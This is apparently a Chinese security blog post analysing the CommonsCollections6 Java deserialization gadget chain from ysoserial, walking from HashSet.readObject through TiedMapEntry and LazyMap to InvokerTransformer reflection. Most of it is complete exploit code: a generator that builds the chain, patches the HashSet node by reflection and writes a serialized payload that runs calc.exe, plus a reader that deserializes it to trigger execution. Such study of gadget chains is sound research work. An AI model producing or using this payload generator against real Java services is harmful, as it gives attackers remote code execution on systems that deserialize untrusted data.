前言:
这篇记录 CommonsCollections6 的调试, 外层也是新的类, 换成了 hashset, 即从 hashset 触发其 readObject(),yso 给的调用链如下图所示
利用链分析:
首先在 hashset 内部首先获取器容量与负载因子等操作, 然后创建 hashmap, 将 ObjectinputStream 中的对象放到 hashmap 中, 即调用 hashmap.put 函数, 可以看到此时实际上放进去的是一个 TiedMapEntry,TiedMapEntry 是 cc5 加入进去的一个 Map 类, 其 getvalue 函数能够获取指定 map 的 key, 所以跟进
hashMap 在放入元素时将会对当前的 key 计算一个 hash 值, 即这里调用 hashCode() 函数, 所以即调用 TiedMapEntry 的 hashCode() 函数, 在 hashCode 函数中将调用该类的 getvalue 函数,
所以从此刻开始就和 CommonsCollections5 的后续利用链相同了, 因为 CC5 是在该类的 toString 中调用 getvalue
接着就跳到 this.map.get(this.key), 此时 this.map 即为 lazymap.get
在 lazymap.get 中将调用 this.factory.transform, 而我们知道 this.factory 是可控的, 这里依然为 chaindTransform
接下来到了 chainedTransformer 的 transform 了, 接下来的过程不再赘述, 即为 contantTransform+invokeTranform 结合反射调用方法来进行 rce
yso 构造分析:
这里还是老套路, 先构造内部 transform 转换链, 然后构造 lazymap, 将 chained 链放进去, 接着将 lazymap 放到 TiedMapEntry 中
接下来构造 hashset 实例
接着拿到该 hashset 的 map 属性, 该属性就是个 hashmap
接着拿到 haspmap 中的 table 属性, 在 table 中存储节点对象, 然后通过反射拿到节点数组,
接着令节点存储 Tiedmapentry 放进该 node 节点的 key
这里下断点跟一下往 haspset 中放数据的过程也就是 haspmap 的存储过程, 比如这里 exp 中存第一个元素, 就是新建一个 node 节点, 即当前的 key 为 "tr1ple"
手动构造 exp:
exp.java
- package CommonsCollections6;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.lang.reflect.Method;
- import java.lang.Class;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.HashSet;
- import java.util.Map;
- public class exp {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
- // 构造内部转换链
- Transformer[] trans = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",
- new Class[]{String.class,Class[].class},
- new Object[]{"getRuntime",new Class[0]}),
- new InvokerTransformer("invoke",
- new Class[]{Object.class,Object[].class},
- new Object[]{null,null}),
- new InvokerTransformer("exec",
- new Class[]{String.class},new Object[]{"calc.exe"}
- )
- };
- ChainedTransformer chain = new ChainedTransformer(trans);
- HashMap innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, chain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple");
- // 构造外部入口链
- HashSet newSet = new HashSet(1);
- newSet.add("tr1ple");
- Field innerSetMap = HashSet.class.getDeclaredField("map");
- innerSetMap.setAccessible(true);
- // 修改 hashset 内部的 hashmap 存储
- HashMap setMap = (HashMap)innerSetMap.get(newSet);
- Field table = HashMap.class.getDeclaredField("table");
- table.setAccessible(true);
- // 拿到存储的数据
- Object[] obj =(Object[])table.get(setMap);
- Object node = obj[0];
- System.out.println(node.getClass().getName());
- Method[] methods = node.getClass().getMethods();
- /*
- for(int i=0;i<methods.length;i++){
- System.out.println(methods[i].getName());
- }
- */
- // 拿到此时存到 hashset 中的 node 节点, key 为要修改的点, 这里需要修改它为真正的 payload, 即 Tiedmapentry
- System.out.println(node.toString());
- Field key = node.getClass().getDeclaredField("key");
- key.setAccessible(true);
- key.set(node,entry);
- //hashset 的 hashmap 中的 node 节点修改完值以后放进 hashset
- Field finalMap = newSet.getClass().getDeclaredField("map");
- finalMap.setAccessible(true);
- finalMap.set(newSet,setMap);
- // 序列化
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
- ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
- objOut.writeObject(newSet);
- }
- }
readObj.java
- package CommonsCollections6;
- import java.io.*;
- import java.lang.Runtime;
- public class readObj {
- public static void main(String[] args) throws IOException, ClassNotFoundException {
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
- ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
- obj.readObject();
- }
- }
来源: https://www.cnblogs.com/tr1ple/p/12421157.html